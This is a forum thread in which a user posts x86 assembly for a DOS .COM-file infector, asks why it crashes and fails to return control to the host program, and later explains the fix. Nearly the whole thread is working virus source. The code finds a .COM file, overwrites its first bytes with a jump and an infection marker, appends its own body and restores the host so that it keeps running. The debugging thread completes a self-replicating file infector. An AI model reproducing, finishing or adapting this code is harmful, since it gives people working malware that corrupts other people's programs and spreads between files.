Infecting COM problem

[dumb_terminal]

Its strictly educational and i mean no harm.
The theory is as usual
1. find first file
2. read first four bytes
3. store it
4. replace with 3 byte jump code and a virus signature
5. go to 100h

now the infected com seems not be working although it is printing the virus's hello world string, its crashing after that.
the host file...

c_seg segment 'code'
	org 100h
	assume cs:c_seg, ds:c_seg, es:c_seg
main proc near
start:
	mov ah, 02h
	mov dl, 'Z'
	int 21h
	mov ah, 4ch
	int 21h
main endp
c_seg ends
end start

This is the virus

c_seg segment 'code'
	org 100h
	assume cs:c_seg
main proc far
start_:
	
	
	mov ax, cs
	mov ds, ax
	mov es, ax
	
	
	
	call fals_proc
	fals_proc proc
	fals_proc endp
	pop bp
	sub bp, offset fals_proc
	
	
	
	; set DTA 
	mov ah, 1Ah
	lea dx, [bp + offset DTA]
	int 21h
	
	
	; find first file
	mov ah, 4eh
	lea dx, [bp + offset first_file]
	mov cx, 7
	int 21h

	
	; preparing full path
	lea di, [bp + offset file_name]
	mov byte ptr[di], '.'
	inc di
	mov byte ptr[di], '\'
	inc di

	
	lea si, [bp + offset DTA + 1Eh]
	rep movsb
	mov byte ptr[di], 0
	
	
	; open file
	mov ah, 3Dh
	mov al, 2
	lea dx, [bp + offset file_name]
	int 21h


	; save handle
	push ax
	;push ax
	pop bx
	;pop [bp + fHandle]

	; read first four bytes
	mov ah, 3Fh
	mov cx, 4
	lea dx, [bp + offset buffer]
	int 21h
	
	;==debug==
	;mov ah, 02h
	;mov dl, byte ptr[bp + offset buffer + 3]
	;int 21h
	
	mov al, byte ptr[bp + offset buffer + 3]
	mov dl, byte ptr [bp + offset vir_sig]
	cmp al, dl
	jne jmp_patchin_
	mov ah, 3Eh
	int 21h
	mov ah, 4ch
	int 21h
	;==debug==	
	
	
	jmp_patchin_:
	; set file pointer to begin
	mov ax, 4200h
	mov cx, 0
	mov dx, 0
	int 21h

	; ===== the jump patch =====
	mov byte ptr[bp + jmp_patch], 0E9h
	mov ax, word ptr[bp + offset DTA + 1Ah] ; the file size
	sub ax, 3
	mov word ptr[bp + jmp_patch + 1], ax
	mov al, vir_sig
	mov byte ptr[bp + jmp_patch + 3], al
	mov ah, 40h
	mov cx, 4
	lea dx, [bp + offset jmp_patch]
	int 21h

	

        ; append the virus
	mov ax, 4202h
	mov cx, 0
	mov dx, 0
	int 21h
	
	 
	

	mov ah, 40h
	mov cx, offset vir_sig - offset start_
	lea dx, [bp + offset start_]
	int 21h
	
	; close
	mov ah, 3Eh
	int 21h

	; restore	
	mov cx, 4
	lea si, [bp + offset buffer]
	mov di, 100h
	rep movsb
	
	mov ah, 09h
	lea dx, [bp + offset infection]
	int 21h
	
	mov ax, 0100h
	jmp ax
	
	;quit_:
	;	mov ah, 4ch
	;	int 21h

	DTA db 43 dup (?)
	first_file db '.\*.COM', 0
	file_name db 255 dup (?)
	extra_buffer db 20 dup (?)
	fHandle    dw ?
	buffer     db 4 dup (?)
	jmp_patch  db 4 dup (?)
	file_len   db 2 dup (?)
	virus_len  dw ?
	infection  db "Hello World$"
	vir_sig db 'Y'	
main endp
c_seg ends
end start_

At a loss, some one plz help, thanx in advance.

[dumb_terminal]

Ok have been able to solve the problem. But now another problem, can't restore control to original host program. I mean copying 4 bytes back to 100h isn't working. Even appended the 4 bytes at the end of file then read from the file and put to 100h, no use, The read and write bytes are completely different can anybody help ??

c_seg segment 'code'
	org 100h
	assume cs:c_seg
main proc near
start_:
	; adjust the segments
	mov ax, cs
	mov ds, ax
	mov es, ax
	
	; getting offsets
	call fals_proc
	fals_proc proc
	fals_proc endp
	pop bp
	sub bp, offset fals_proc
	
	; set DTA 
	mov ah, 1Ah
	lea dx, [bp + offset DTA]
	int 21h
	
	
	; find first file
	mov ah, 4eh
	lea dx, [bp + offset first_file]
	mov cx, 7
	int 21h

	; preparing full path .\*A.COM
	lea di, [bp + offset file_name]
	mov byte ptr[di], '.'
	inc di
	mov byte ptr[di], '\'
	inc di

	lea si, [bp + offset DTA + 1Eh]
	rep movsb
	mov byte ptr[di], 0
	
	
	; open file
	mov ah, 3Dh
	mov al, 2
	lea dx, [bp + offset file_name]
	int 21h


	; save handle
	push ax
	push ax
	pop bx
	pop [bp + fHandle]

	; read first four bytes
	mov ah, 3Fh
	mov cx, 4
	lea dx, [bp + offset buffer]
	int 21h
	
	; if virus signature matches don't infect just quit
	mov al, byte ptr[bp + offset buffer + 3]
	mov dl, byte ptr [bp + offset vir_sig]
	cmp al, dl
	jne jmp_patchin_
	mov ah, 3Eh
	int 21h
	mov ah, 09h
	lea dx, [bp + offset infection]
	int 21h
	cmp bp, 0
	je quitzz_
	jmp dispatcher_
	quitzz_:
	mov ah, 4ch
	int 21h

	jmp_patchin_:
	; set file pointer to begin
	mov ax, 4200h
	mov cx, 0
	mov dx, 0
	int 21h

	; ===== the jump patch =====
	mov byte ptr[bp + jmp_patch], 0E9h
	mov ax, word ptr[bp + offset DTA + 1Ah] ; the file size
	sub ax, 3
	mov word ptr[bp + jmp_patch + 1], ax
	mov al, vir_sig
	mov byte ptr[bp + jmp_patch + 3], al
	mov ah, 40h
	mov cx, 4
	lea dx, [bp + offset jmp_patch]
	int 21h

        ; append the virus
	mov ax, 4202h
	mov cx, 0
	mov dx, 0
	int 21h
	
	mov ah, 40h
	mov cx, offset end_vir - offset main
	lea dx, [bp + offset main]
	int 21h
	
	; append the first 4 byte too
	mov ax, 4202h
	mov cx, 0
	mov dx, 0
	int 21h
	
	mov ah, 40h
	lea dx, [bp + offset buffer]
	mov cx, 4
	int 21h
	
	mov ah, 3eh
	int 21h

	dispatcher_:
	mov ah, 3Dh
	mov al, 02h
	lea dx, [bp + offset file_name]
	int 21h
	mov bx, ax
	
	mov ax, 4202h
	mov cx, 0
	mov dx, 0
	int 21h
	
	; restore the first 4 bit
	mov ah, 3Fh
	lea dx, [bp + offset buffer]
	mov cx, 4
	int 21h
	
	mov cx, 4
	lea si, [bp + offset buffer]
	mov di, 100h
	rep movsb
	
	mov ah, 09h
	lea dx, [bp + offset infection]
	int 21h
	

	mov di, 100h
	mov cx, 4
	loop_1:
		mov ah, 02h
		mov dl, byte ptr[di]
		
		int 21h
	loop loop_1

	lea di, [bp + offset buffer]
	mov cx, 4
	loop_2:
		mov ah, 02h
		mov dl, byte ptr[di]
		int 21h
	loop loop_2
	;mov ah, 01
	;int 21h
	

	; close
	mov ah, 3Eh
	int 21h

	mov ax, 0100h
	jmp ax
	
	;quit_:
	;	mov ah, 4ch
	;	int 21h

	DTA db 43 dup (?)
	first_file db '.\*.COM', 0
	file_name db 255 dup (?)
	extra_buffer db 20 dup (?)
	fHandle    dw ?
	buffer     db 4 dup (0)
	jmp_patch  db 4 dup (0)
	infection  db "Hello World$"
	vir_sig db 'Y'	
main endp
	end_vir label near
c_seg ends
end start_

[dumb_terminal]

Solved it guyz.. here is what was happening...
i saved the first 4 bytes to buffer.
now when i was reading 4 bytes for checking prior infection, i was again reading in buffer. this time buffer was full with the jump patcher and virus signature. then in runtime i was overwriting first 4 byte code with buffer, the same thing - the jump patcher - this caused an infinite loop. while checking for prior infection i read the 4 byte in seperate buffer, that solved the prob guyz.. thanx anyway.